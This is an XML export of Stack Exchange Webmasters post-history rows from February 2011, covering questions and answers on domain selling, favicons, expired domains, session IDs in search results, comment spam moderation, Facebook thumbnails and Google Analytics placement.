  <row Id="20396" PostHistoryTypeId="2" PostId="9272" RevisionGUID="740d47e1-d9ba-46bc-a3fd-02e213d70ff4" CreationDate="2011-02-17T04:50:05.267" UserId="1253" Text="There are services that you park your domain on their server and you split the revenue with them earned from the ads they place on it. I never used these kinds of services so I can't give a recommendation as to a good one but I'm sure you cn find a bunch with a search or two.&#xD;&#xA;&#xD;&#xA;To sell a domain see these sites ([from this previous answer][1]):&#xD;&#xA;&#xD;&#xA;* Snapnames.com&#xD;&#xA;* Sedo.com&#xD;&#xA;* Godaddy.com Auctions&#xD;&#xA;* Auctionpus.com&#xD;&#xA;* Ebay.com&#xD;&#xA;* Latonas.com&#xD;&#xA;* Afternic.com&#xD;&#xA;* Domainmonkey.com&#xD;&#xA;* Bido.com&#xD;&#xA;* Domaintools.com&#xD;&#xA;* Greatdomains.com (Part Of Sedo)&#xD;&#xA;* Namejet.com&#xD;&#xA;* Snapnames.com&#xD;&#xA;* Winyourdomain.com&#xD;&#xA;&#xD;&#xA;You can also try to sell it via the specialized forums (incomplete list):&#xD;&#xA;&#xD;&#xA;* dnforum.com&#xD;&#xA;* namepros.com&#xD;&#xA;* domainforums.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sedo.com" />
  <row Id="20397" PostHistoryTypeId="17" PostId="9274" RevisionGUID="ed8319d8-bed6-40a0-9528-43ad2948c5f8" CreationDate="2011-02-17T05:14:45.777" UserId="-1" Comment="from http://serverfault.com/questions/236505/favicon-favicon-not-showing-up/236510#236510" Text="" />
  <row Id="20398" PostHistoryTypeId="2" PostId="9274" RevisionGUID="ed3b6cca-1713-477f-a275-b75a1ae3f916" CreationDate="2011-02-16T23:37:28.017" UserDisplayName="Hrvoje Špoljar" Text="Not all browsers support showing png type of favicon. You may want to check the wiki page for support table.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Favicon&#xD;&#xA;" />
  <row Id="20399" PostHistoryTypeId="2" PostId="9273" RevisionGUID="2d2d867c-5bf7-4b09-a5ee-74ac2fd1ee71" CreationDate="2011-02-16T23:25:19.773" UserDisplayName="Russ" Text="I'm using a .png favicon file and it is not showing up on my site.&#xD;&#xA;&#xD;&#xA;Doing a grep, I see the following in home.htm which looks right for me(I have also confirmed it's in the HEAD section within home.htm):&#xD;&#xA;&#xD;&#xA;    home.htm: &lt;link rel=&quot;shortcut icon&quot; type=&quot;image/png&quot; href=&quot;favicon.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;The favicon.png file is in the same directory as the home.html file.&#xD;&#xA;&#xD;&#xA;Any suggestions are welcome! Thanks all. &#xD;&#xA;&#xD;&#xA;In case the file info is revealing for anyone, I'll attach it here:&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/csNOw.jpg&#xD;&#xA;" />
  <row Id="20400" PostHistoryTypeId="1" PostId="9273" RevisionGUID="2d2d867c-5bf7-4b09-a5ee-74ac2fd1ee71" CreationDate="2011-02-16T23:25:19.773" UserDisplayName="Russ" Text="FAVICON: Favicon not showing up" />
  <row Id="20401" PostHistoryTypeId="3" PostId="9273" RevisionGUID="2d2d867c-5bf7-4b09-a5ee-74ac2fd1ee71" CreationDate="2011-02-16T23:25:19.773" UserDisplayName="Russ" Text="&lt;favicon&gt;" />
  <row Id="20402" PostHistoryTypeId="17" PostId="9273" RevisionGUID="139e6d68-1d71-4591-9cec-dc6a4e5e52cb" CreationDate="2011-02-17T05:14:45.777" UserId="-1" Comment="from http://serverfault.com/questions/236505/favicon-favicon-not-showing-up" Text="" />
  <row Id="20403" PostHistoryTypeId="2" PostId="9275" RevisionGUID="4df34f3f-6b12-4170-80c9-dae9a8c55b02" CreationDate="2011-02-17T05:21:39.580" UserId="1787" Text="A relative let my wife's family .com domain name expire. Apart from that being annoying in itself, the domain now redirects to random spam blogs and is owned by someone with almost 5000 other domains according to DomainTools. They also want a fortune to return it.&#xD;&#xA;&#xD;&#xA;The family name is pretty unusual and completely unrelated to the spam. So how did they manage to snap the domain name up so quickly and what value is it to them?&#xD;&#xA;" />
  <row Id="20404" PostHistoryTypeId="1" PostId="9275" RevisionGUID="4df34f3f-6b12-4170-80c9-dae9a8c55b02" CreationDate="2011-02-17T05:21:39.580" UserId="1787" Text="Why/How do expired domain names get bought so quickly?" />
  <row Id="20405" PostHistoryTypeId="3" PostId="9275" RevisionGUID="4df34f3f-6b12-4170-80c9-dae9a8c55b02" CreationDate="2011-02-17T05:21:39.580" UserId="1787" Text="&lt;domain-names&gt;" />
  <row Id="20406" PostHistoryTypeId="25" PostId="9271" RevisionGUID="73073a38-4814-4aa3-aefc-a94254047517" CreationDate="2011-02-17T05:22:30.573" Comment="http://twitter.com/#!/StackWebmasters/status/38105990532435968" />
  <row Id="20407" PostHistoryTypeId="5" PostId="9250" RevisionGUID="4d25ab45-efa9-41a0-89e8-045d26770659" CreationDate="2011-02-17T06:05:38.827" UserId="769" Comment="edited body" Text="I use cookie based sessions, and they work for normal interaction with our site. However, when Googlebot comes crawling our PHP framework, Yii, needs to append `?PHPSESSID` to each URL, which doesn't look that good in SERP. &#xD;&#xA;&#xD;&#xA;Any ways to suppress this behavior? &#xD;&#xA;&#xD;&#xA;PS. I tried to utilize `ini_set('session.use_only_cookies', '1');`, but it does not work.&#xD;&#xA;&#xD;&#xA;PPS. To get an impression of the SERP, they look like this:&#xD;&#xA;&#xD;&#xA;* http://www.google.com/search?q=site:wwwdup.uni-leipzig.de+inurl:jobportal" />
  <row Id="20408" PostHistoryTypeId="2" PostId="9276" RevisionGUID="d197920f-b666-4c98-9397-688ab46cfc82" CreationDate="2011-02-17T06:07:33.007" UserId="1064" Text="&gt; Why/How do expired domain names get&#xD;&#xA;&gt; bought so quickly?&#xD;&#xA;&#xD;&#xA;&quot;They also want a fortune to return it.&quot; - That's [domain speculation][1] and that's *why*.&#xD;&#xA;&#xD;&#xA;*How* do enterprising [domain squatters][2] know which domains to buy? There are a variety of traffic ranking sites (including Alexa and SEOmoz's Open Site Explorer) which allow domain squatters to determine which domain names may be worth acquiring (in the case of common names, the domain is probably worth acquiring if only to ransom it).&#xD;&#xA;&#xD;&#xA;Squatters can see when a domain will expire by reviewing [WHOIS][3] data - there are even sites which broadcast [expiring domains][4] after aggregating ranking and WHOIS data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Domain_name_speculation&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cybersquatting&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Whois&#xD;&#xA;  [4]: http://www.google.com/search?hl=en&amp;q=expiring+domains" />
  <row Id="20409" PostHistoryTypeId="2" PostId="9277" RevisionGUID="b597df0f-d661-4857-81cd-9c1ebc68423b" CreationDate="2011-02-17T06:11:46.170" UserId="1064" Text="See [Webmaster Tools: Updates to Search queries, Parameter handling and Messages][1] at the Google Webmaster Central blog for instructions to suppress the PHPSESSID parameter in search results.&#xD;&#xA;&#xD;&#xA;On the server-side, you should look into a way to prevent every hit from creating a session - session management is expensive server-side and it is generally undesirable to initiate sessions unless the content presented is dependent upon session data (as would hopefully **not** be the case with a search engine crawler).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/10/webmaster-tools-updates-to-search.html" />
  <row Id="20410" PostHistoryTypeId="2" PostId="9278" RevisionGUID="e4ca7625-6ca1-46be-abdd-4d949b27454c" CreationDate="2011-02-17T06:49:09.053" UserId="4424" Text="I am building a website with user generated comments. In order to implement user moderation/spam-protection, users have the ability to mark comments as spam. When one comment is marked as spam, I want all comments from the same IP address to be deleted. &#xD;&#xA;&#xD;&#xA;I am not familiar with spam prevention in general, other than Captcha. &#xD;&#xA;&#xD;&#xA;Question: &#xD;&#xA;&#xD;&#xA;* is this a feasible/good system for spam prevention? &#xD;&#xA;* are there better ways, or improvements I can make? &#xD;&#xA;&#xD;&#xA;Thanks. " />
  <row Id="20411" PostHistoryTypeId="1" PostId="9278" RevisionGUID="e4ca7625-6ca1-46be-abdd-4d949b27454c" CreationDate="2011-02-17T06:49:09.053" UserId="4424" Text="Spam prevention through IP tracking" />
  <row Id="20412" PostHistoryTypeId="3" PostId="9278" RevisionGUID="e4ca7625-6ca1-46be-abdd-4d949b27454c" CreationDate="2011-02-17T06:49:09.053" UserId="4424" Text="&lt;web-development&gt;&lt;ip-address&gt;&lt;spam-prevention&gt;&lt;moderation&gt;" />
  <row Id="20413" PostHistoryTypeId="2" PostId="9279" RevisionGUID="6bb80f25-11aa-4c2e-afd8-1edc45c9594b" CreationDate="2011-02-17T07:29:05.393" UserId="576" Text="The [W3C Link Checker][1] is one of the oldest online services that checks for broken links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/checklink/" />
  <row Id="20414" PostHistoryTypeId="25" PostId="9250" RevisionGUID="d6a447a2-37ec-445b-9c6c-d8bde391de9d" CreationDate="2011-02-17T08:22:31.837" Comment="http://twitter.com/#!/StackWebmasters/status/38151293319135232" />
  <row Id="20415" PostHistoryTypeId="2" PostId="9280" RevisionGUID="a6c3645e-18ec-4590-9281-878a6800c20b" CreationDate="2011-02-17T08:43:57.490" UserId="5425" Text="I have recently designed a website with no &lt;img&gt; tags, only one big fat CSS sprite with everything in it. Though, when I try to publish that website on Facebook, it won't show a preview thumbnail — probably because it doesn't find any images on the markup. Any suggestions? I'd still like to keep it a super fast &lt;img&gt;less website, nevertheless." />
  <row Id="20416" PostHistoryTypeId="1" PostId="9280" RevisionGUID="a6c3645e-18ec-4590-9281-878a6800c20b" CreationDate="2011-02-17T08:43:57.490" UserId="5425" Text="How to show a preview thumbnail on Facebook of a imageless website?" />
  <row Id="20417" PostHistoryTypeId="3" PostId="9280" RevisionGUID="a6c3645e-18ec-4590-9281-878a6800c20b" CreationDate="2011-02-17T08:43:57.490" UserId="5425" Text="&lt;css&gt;&lt;facebook&gt;&lt;image&gt;&lt;detection&gt;&lt;thumbnail&gt;" />
  <row Id="20418" PostHistoryTypeId="2" PostId="9281" RevisionGUID="7211ecf6-7912-44bb-a348-318a0d45b7d4" CreationDate="2011-02-17T08:56:54.387" UserId="84" Text="I would suggest this reading&#xD;&#xA;&#xD;&#xA;&gt; [How to Get Your Website Preview Thumbnail to Show Up on Facebook Share][1]&#xD;&#xA;&#xD;&#xA;[Google][2] is your friend :)&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;It all resumes to add a meta info to your code as:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;image_src&quot; href=&quot;http://site.com/website-thumb.jpg&quot; /&gt;&#xD;&#xA;&#xD;&#xA;and try not to make that image more than 250px wide.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ehow.com/how_4938148_thumbnail-show-up-facebook-share.html&#xD;&#xA;  [2]: http://www.google.com/search?rls=en&amp;q=facebook+link+thumbnail" />
  <row Id="20419" PostHistoryTypeId="2" PostId="9282" RevisionGUID="c6d32458-06ae-47c6-a0f1-a7add9953953" CreationDate="2011-02-17T08:59:25.660" UserId="1757" Text="Facebook uses a proprietary link type called `image_src`:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;image_src&quot; href=&quot;location/of/image&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Just insert that in your `&lt;head&gt;` and Facebook should be able to pick up on the image.&#xD;&#xA;&#xD;&#xA;If you're also interested, Facebook also recognizes two other `rel` values: `audio_src` and `video_src`. [See here for more][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.niallkennedy.com/blog/2009/03/enhanced-social-share.html" />
  <row Id="20420" PostHistoryTypeId="2" PostId="9283" RevisionGUID="a96d9891-1f07-4c93-967e-676284dbc963" CreationDate="2011-02-17T09:00:04.753" UserId="4502" Text="You've checked that the file does actually exist, and that's about all you can do besides wait. Browsers are very fickle about grabbing and updating favicons. It'll show up eventually." />
  <row Id="20421" PostHistoryTypeId="2" PostId="9284" RevisionGUID="9e65ec77-7a82-40f5-8341-15da6cfc2518" CreationDate="2011-02-17T09:23:07.623" UserId="1064" Text="&gt; is this a feasible/good system for&#xD;&#xA;&gt; spam prevention?&#xD;&#xA;&#xD;&#xA;No, for a variety of reasons - chiefly:&#xD;&#xA;&#xD;&#xA;1. IP address assignments change over time. Do you want to delete posts from 2011 in the year 2015 because a spammer was assigned an IP which had seen use prior?&#xD;&#xA;&#xD;&#xA;2. Malicious flagging happens. Do you want a few malicious posts to interfere with comments from one of your community's top posters?&#xD;&#xA;&#xD;&#xA;... etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; are there better ways, or improvements&#xD;&#xA;&gt; I can make?&#xD;&#xA;&#xD;&#xA;Spam is pandemic and hard to deal with... it's an [arms race][1] and spammers have strong financial incentives to continue spamming.&#xD;&#xA;&#xD;&#xA;Services like ReCAPTCHA and Akismet are dedicated to fighting this battle - they're good at it and they have an incentive to *stay* good at it.&#xD;&#xA;&#xD;&#xA;Unless you want to spend time engineering and re-engineering your solution over time to fight spam, I doubt you want to fight this battle.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Arms_race" />
  <row Id="20422" PostHistoryTypeId="2" PostId="9285" RevisionGUID="3b2f41c2-b33f-46c1-b6c8-b49ef002ca7c" CreationDate="2011-02-17T09:31:10.800" UserId="5464" Text="Check this page out (http://ma.tt/2003/11/how-to-create-a-favicon/) its what i use to create favicons had the same issue as you with regard to png files now just stick with ico. " />
  <row Id="20423" PostHistoryTypeId="5" PostId="9284" RevisionGUID="fc3335bc-f25b-40da-b743-9edf9fdafdf2" CreationDate="2011-02-17T09:34:29.003" UserId="1064" Comment="Added some tips for improving the system" Text="&gt; is this a feasible/good system for&#xD;&#xA;&gt; spam prevention?&#xD;&#xA;&#xD;&#xA;No, for a variety of reasons - chiefly:&#xD;&#xA;&#xD;&#xA;**IP address assignments change over time.** Do you want to delete posts from 2011 in the year 2015 because a spammer was assigned an IP which had seen use prior?&#xD;&#xA;&#xD;&#xA;**Malicious flagging happens.** Do you want a few malicious posts to interfere with comments from one of your community's top posters?&#xD;&#xA;&#xD;&#xA;... etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; are there better ways, or improvements&#xD;&#xA;&gt; I can make?&#xD;&#xA;&#xD;&#xA;Spam is pandemic and hard to deal with... it's an [arms race][1] and spammers have strong financial incentives to continue spamming.&#xD;&#xA;&#xD;&#xA;Services like ReCAPTCHA and Akismet are dedicated to fighting this battle - they're good at it and they have an incentive to *stay* good at it.&#xD;&#xA;&#xD;&#xA;Unless you want to spend time engineering and re-engineering your solution over time to fight spam, I doubt you want to fight this battle... but if you feel compelled to take on the spammers, here is how you might go about it:&#xD;&#xA;&#xD;&#xA;**Require verified user accounts** - This means you will need to collect data from your users and verify that data (whether it be an e-mail address, payment information, or a phone number).&#xD;&#xA;&#xD;&#xA;**Avoid automated destructive actions** - Don't delete anything until a moderator has had a chance to review the merit of user-reported spam. An example: vBulletin comment flagging and moderation.&#xD;&#xA;&#xD;&#xA;**Slow spammers' roll.** Spammers prefer hit-and-run opportunities over creating accounts, but they *will* create accounts if it means immediate access to post at will. Consider implementing a &quot;no links for accounts with less than 5 posts&quot; rule to weed out spammers (they won't stick around to meet that limit unless they're particularly desperate) and a &quot;+3 posts/day quota&quot; for new user accounts (i.e. user can post 3 times on his or her first day, 6 times on the second, and so on).&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Arms_race&#xD;&#xA;  [2]: http://skew.dailyskew.com/2010/07/craigslist-forces-phone-verification.html" />
  <row Id="20424" PostHistoryTypeId="25" PostId="9280" RevisionGUID="512e3b9c-6264-4820-871b-2e5d7ea3de41" CreationDate="2011-02-17T11:22:31.973" Comment="http://twitter.com/#!/StackWebmasters/status/38196591068319744" />
  <row Id="20425" PostHistoryTypeId="2" PostId="9286" RevisionGUID="b1e9f66d-27b2-44f5-90cf-e3414b22060b" CreationDate="2011-02-17T11:54:31.100" UserDisplayName="Craig" Text="Requirements:&#xD;&#xA;Analysis of site positions on the list of keywords in different search engines;&#xD;&#xA;Track keyword positions on search engines. I want see if my keyword rankings have moved up or down;&#xD;&#xA;Creating reports.&#xD;&#xA;&#xD;&#xA;I use Excel + Rank Checker addon for Firefox, to analyze the position of the site in search engines for my keyword list.&#xD;&#xA;Are there any tools which tested and working properly.&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20426" PostHistoryTypeId="1" PostId="9286" RevisionGUID="b1e9f66d-27b2-44f5-90cf-e3414b22060b" CreationDate="2011-02-17T11:54:31.100" UserDisplayName="Craig" Text="List of freely available SEO tools (software) for keyword rank checking?" />
  <row Id="20427" PostHistoryTypeId="3" PostId="9286" RevisionGUID="b1e9f66d-27b2-44f5-90cf-e3414b22060b" CreationDate="2011-02-17T11:54:31.100" UserDisplayName="Craig" Text="&lt;seo&gt;" />
  <row Id="20428" PostHistoryTypeId="17" PostId="9286" RevisionGUID="5b613109-f2a8-489d-ade6-0617aef59cc0" CreationDate="2011-02-17T12:12:39.203" UserId="-1" Comment="from http://stackoverflow.com/questions/5028586/list-of-freely-available-seo-tools-software-for-keyword-rank-checking" Text="" />
  <row Id="20429" PostHistoryTypeId="5" PostId="9286" RevisionGUID="5f7b87f6-b137-4548-8ce4-6ad0f9084fb7" CreationDate="2011-02-17T12:49:15.897" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [can anyone reccommend a Google SERP tracker?](http://webmasters.stackexchange.com/questions/1957/can-anyone-reccommend-a-google-serp-tracker)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Requirements:&#xD;&#xA;Analysis of site positions on the list of keywords in different search engines;&#xD;&#xA;Track keyword positions on search engines. I want see if my keyword rankings have moved up or down;&#xD;&#xA;Creating reports.&#xD;&#xA;&#xD;&#xA;I use Excel + Rank Checker addon for Firefox, to analyze the position of the site in search engines for my keyword list.&#xD;&#xA;Are there any tools which tested and working properly.&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20430" PostHistoryTypeId="10" PostId="9286" RevisionGUID="239ca5ee-7089-42aa-8765-96e7e33a5ba1" CreationDate="2011-02-17T12:49:15.803" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20431" PostHistoryTypeId="2" PostId="9287" RevisionGUID="1a08e416-b4b5-4788-86c5-bf188e5d2dca" CreationDate="2011-02-17T12:51:17.057" UserId="4827" Text="I'll ad my voice to the chorus and say the problem is that it's not in ICO format. Take a look here for a Photoshop plug-in: http://www.telegraphics.com.au/svn/icoformat/trunk/dist/README.html" />
  <row Id="20432" PostHistoryTypeId="2" PostId="9288" RevisionGUID="896929dd-6a4d-4d11-ba24-595c62bd982b" CreationDate="2011-02-17T13:08:58.907" UserId="1757" Text="I don't know what Polish type foundries there are, but any Unicode typeface should have Polish characters, I beleive. Here's a list of free (as in speech) ones you can use with the FontSquirrel generator goker.cebeci linked to:&#xD;&#xA;&#xD;&#xA; - http://en.wikipedia.org/wiki/Free_software_Unicode_typefaces&#xD;&#xA;&#xD;&#xA;However, it should be noted that Unicode fonts are typically much larger than regular fonts because they contain so many glyphs. There are font editing tools that let you remove unused glyphs (generally a bad idea, but may be excusable in this case), but you'll need to ask those questions on the [Graphic Design StackExchange site][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://graphicdesign.stackexchange.com" />
  <row Id="20433" PostHistoryTypeId="5" PostId="9236" RevisionGUID="5cbd350a-bedf-4a9c-96f2-ebe6b969c1ba" CreationDate="2011-02-17T13:18:02.407" UserId="5445" Comment="images" Text="In my Joomla based web site, I have a two layer main menu. The page layout contains two sections whereas the left one displays the content and the right one displays some other kind of content which at the same time serves as a menu.&#xD;&#xA;&#xD;&#xA;For example, if the user clicks on the &quot;Products&quot; -&gt; &quot;SomeCategory&quot; 2nd level menu item, the left section displays an image. The right section lists all products of that category. Each product is represented by an image and text. The content is scrollable. This section is implemented by means of a custom module (mod_custom) assigned to the menu. The content is rich text (HTML). Each product is entered manually by adding a picture and a text in the WYSIWYG editor, and by inserting a link for the picture and text.&#xD;&#xA;&#xD;&#xA;**Now the issue:**&#xD;&#xA;&#xD;&#xA;When the user clicks on a product, I want to display the corresponding product description article (&quot;SomeProduct&quot;) to the left, accounting for the following requirements:&#xD;&#xA;&#xD;&#xA;* The bread crumb now displays &quot;Products -&gt; SomeCategory -&gt; SomeProduct&quot;&#xD;&#xA;* The main menu still displays the 2nd level for &quot;Products&quot;, and &quot;SomeCategory&quot; is still marked as selected.&#xD;&#xA;* *(I would love if the right section which lists the product would remain in the exact same scroll state, but that's a completely different story.)*&#xD;&#xA;&#xD;&#xA;If I link the product entry from the right hand side directly to the article &quot;SomeProduct&quot;, then the article appears to the left, but the **breadcrumb and menu are reset.**&#xD;&#xA;&#xD;&#xA;So I wanted to **create a hidden menu item** &quot;SomeProduct&quot; beneath &quot;SomeCategory&quot;, and to link the product entry to that menu item. This way, if I click on the product entry, the article appears to the left, the breadcrumb behaves correctly, and the menu state is preserved. However, **it is not possible to configure the SomeProduct menu item as &quot;hidden&quot;**, therefore it appears in the main menu.&#xD;&#xA;&#xD;&#xA;I found some resources that suggest to **create another menu, called &quot;hidden&quot;**, which does not use any modules, and to create the &quot;SomeProduct&quot; menu item in that menu. **Unfortunately this did not work for me:** If I link that menu item from the product entry, and click on that entry, then the article appears to the left, but the menu is reset, and the breadcrumb displays &quot;SomeProduct&quot; instead of &quot;Products &gt; SomeCategory &gt; SomeProduct&quot;.&#xD;&#xA;&#xD;&#xA;Lucky me! I found an appropriate stackexchange site where I can pour out my heart to you guys. Sure you can help me :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Update: To make my point clearer, see the wireframes below, they show how I'd like the page to behave. Please note that the &quot;SomeProduct&quot; etc. do *not* appear in the main menu, but they behave like submenus of &quot;SomeCategory&quot;.&#xD;&#xA;&#xD;&#xA;**User clicks &quot;Products&quot;:**&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;**User clicks &quot;SomeCategory&quot;:**&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;**User clicks &quot;SomeProduct&quot;:**&#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/qSUjW.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/Nj3XA.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/QnrNv.png" />
  <row Id="20434" PostHistoryTypeId="2" PostId="9289" RevisionGUID="368d6821-4c9a-4faf-81e0-3323d828a4a8" CreationDate="2011-02-17T13:34:16.747" UserDisplayName="user5468" Text="Can I save the images file on filesystem (no db) in phpbb?" />
  <row Id="20435" PostHistoryTypeId="1" PostId="9289" RevisionGUID="368d6821-4c9a-4faf-81e0-3323d828a4a8" CreationDate="2011-02-17T13:34:16.747" UserDisplayName="user5468" Text="phpbb and filesystem storage" />
  <row Id="20436" PostHistoryTypeId="3" PostId="9289" RevisionGUID="368d6821-4c9a-4faf-81e0-3323d828a4a8" CreationDate="2011-02-17T13:34:16.747" UserDisplayName="user5468" Text="&lt;php&gt;&lt;images&gt;&lt;storage&gt;&lt;filenames&gt;&lt;system&gt;" />
  <row Id="20437" PostHistoryTypeId="6" PostId="9289" RevisionGUID="c43f426c-2254-44c5-b67b-0fe0c53b815a" CreationDate="2011-02-17T14:02:27.677" UserId="1253" Comment="Removed &quot;php images storage filenames system&quot; tags, add &quot;phpbb&quot; tag" Text="&lt;phpbb&gt;" />
  <row Id="20438" PostHistoryTypeId="2" PostId="9290" RevisionGUID="9a2297c0-e5e1-405e-aa2d-4bb10c867702" CreationDate="2011-02-17T14:11:25.910" UserId="5464" Text="Not quiet a heat map tool but Google analytics has - In-page Analytics section under Content. This shows the percentage of clicks in particular areas on the site and you can drill down through the pages. It also gives you all the usual stuff about time on site, bounce rate etc.  " />
  <row Id="20439" PostHistoryTypeId="25" PostId="9278" RevisionGUID="df23d6d0-8e38-4d62-8e41-a791a89ce40b" CreationDate="2011-02-17T14:22:32.870" Comment="http://twitter.com/#!/StackWebmasters/status/38241895163506688" />
  <row Id="20440" PostHistoryTypeId="2" PostId="9291" RevisionGUID="c227b566-a416-402f-8950-89ce1a9808f6" CreationDate="2011-02-17T15:03:51.480" UserId="3312" Text="I've noticed that on some sites, such as lifehacker, the article title is a link to the same page you are viewing.  Is there any SEO reason to do this?  If not, what's the point?&#xD;&#xA;" />
  <row Id="20441" PostHistoryTypeId="1" PostId="9291" RevisionGUID="c227b566-a416-402f-8950-89ce1a9808f6" CreationDate="2011-02-17T15:03:51.480" UserId="3312" Text="Page heading a link to the same page? Is this an SEO trick? " />
  <row Id="20442" PostHistoryTypeId="3" PostId="9291" RevisionGUID="c227b566-a416-402f-8950-89ce1a9808f6" CreationDate="2011-02-17T15:03:51.480" UserId="3312" Text="&lt;seo&gt;" />
  <row Id="20443" PostHistoryTypeId="5" PostId="9291" RevisionGUID="9fd07ded-c0a4-4e3c-aa4e-31836d4c5290" CreationDate="2011-02-17T15:08:40.723" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What&amp;#39;s the point of placing self links on a webpage?](http://webmasters.stackexchange.com/questions/9134/whats-the-point-of-placing-self-links-on-a-webpage)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've noticed that on some sites, such as lifehacker, the article title is a link to the same page you are viewing.  Is there any SEO reason to do this?  If not, what's the point?&#xD;&#xA;" />
  <row Id="20444" PostHistoryTypeId="10" PostId="9291" RevisionGUID="bbf303ee-5891-4fd0-8473-96d80d5b2139" CreationDate="2011-02-17T15:08:40.597" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20445" PostHistoryTypeId="2" PostId="9292" RevisionGUID="95ab81d6-8915-488d-beee-72da1d0417a8" CreationDate="2011-02-17T15:08:58.107" UserId="529" Text="Literally the only thing a DOCTYPE does in a (post late 1990s) browser is signal whether or not to render in standards mode or quirks mode. That's it. &#xD;&#xA;&#xD;&#xA;WHATWG did their research, and realized that browsers don't even need the DTD to render in standards mode. All you need to render standards mode is the minimalistic 'HTML5 DOCTYPE', `&lt;!DOCTYPE HTML&gt;`. &#xD;&#xA;&#xD;&#xA;So, nothing will happen if you use the HTML5 doctype instead of the XHTML 1.0 doctype with a DTD, except your pages will be very slightly smaller, and if you use a validator, it will validate using different rules. " />
  <row Id="20446" PostHistoryTypeId="5" PostId="9280" RevisionGUID="7b69f3b9-d362-489c-bd3a-fce01c7dee3c" CreationDate="2011-02-17T15:20:47.610" UserId="5425" Comment="Switching from the tag &quot;img&quot; to the word img" Text="I have recently designed a website with no img tags, only one big fat CSS sprite with everything in it. Though, when I try to publish that website on Facebook, it won't show a preview thumbnail — probably because it doesn't find any images on the markup. Any suggestions? I'd still like to keep it a super fast img-less website, nevertheless." />
  <row Id="20447" PostHistoryTypeId="2" PostId="9293" RevisionGUID="dd72f835-6249-4a77-9c6a-6a7e56f1732c" CreationDate="2011-02-17T16:03:11.800" UserId="4142" Text="I'm working with an outside software vendor to add Google Analytics code to their web app, so that we can track its usage. Their developer suggested that we place the code in an external &quot;.js&quot; file, and he could include that in the layout of his application.&#xD;&#xA;&#xD;&#xA;The [StackOverflow](http://stackoverflow.com) question &quot;[Google Analytics: External .js file](http://stackoverflow.com/questions/2363842/google-analytics-external-js-file) covers the technical aspect, so apparently tracking is possible via an external file.&#xD;&#xA;&#xD;&#xA;However, I'm not quite satisfied that this won't have negative implications. Does including the tracking code as an external file affect the statistics collected by Google?" />
  <row Id="20448" PostHistoryTypeId="1" PostId="9293" RevisionGUID="dd72f835-6249-4a77-9c6a-6a7e56f1732c" CreationDate="2011-02-17T16:03:11.800" UserId="4142" Text="Does placing Google Analytics code in an external file affect statistics?" />
  <row Id="20449" PostHistoryTypeId="3" PostId="9293" RevisionGUID="dd72f835-6249-4a77-9c6a-6a7e56f1732c" CreationDate="2011-02-17T16:03:11.800" UserId="4142" Text="&lt;google-analytics&gt;&lt;javascript&gt;&lt;statistics&gt;" />
  <row Id="20450" PostHistoryTypeId="2" PostId="9294" RevisionGUID="178e0f49-2bd1-444e-b5f0-08d5c32385a5" CreationDate="2011-02-17T16:29:08.070" UserId="4502" Text="As long as the code runs, Google won't care whether it's in-line or not." />
  <row Id="20451" PostHistoryTypeId="2" PostId="9295" RevisionGUID="9fa33e29-4b95-4ab9-a620-6059d326056b" CreationDate="2011-02-17T16:33:56.097" UserId="1757" Text="Why would the location of the code affect the statistics? Whether you make an XHR request using inline JavaScript or a function call to an external library makes no difference to the browser, much less the server your request is directed at." />
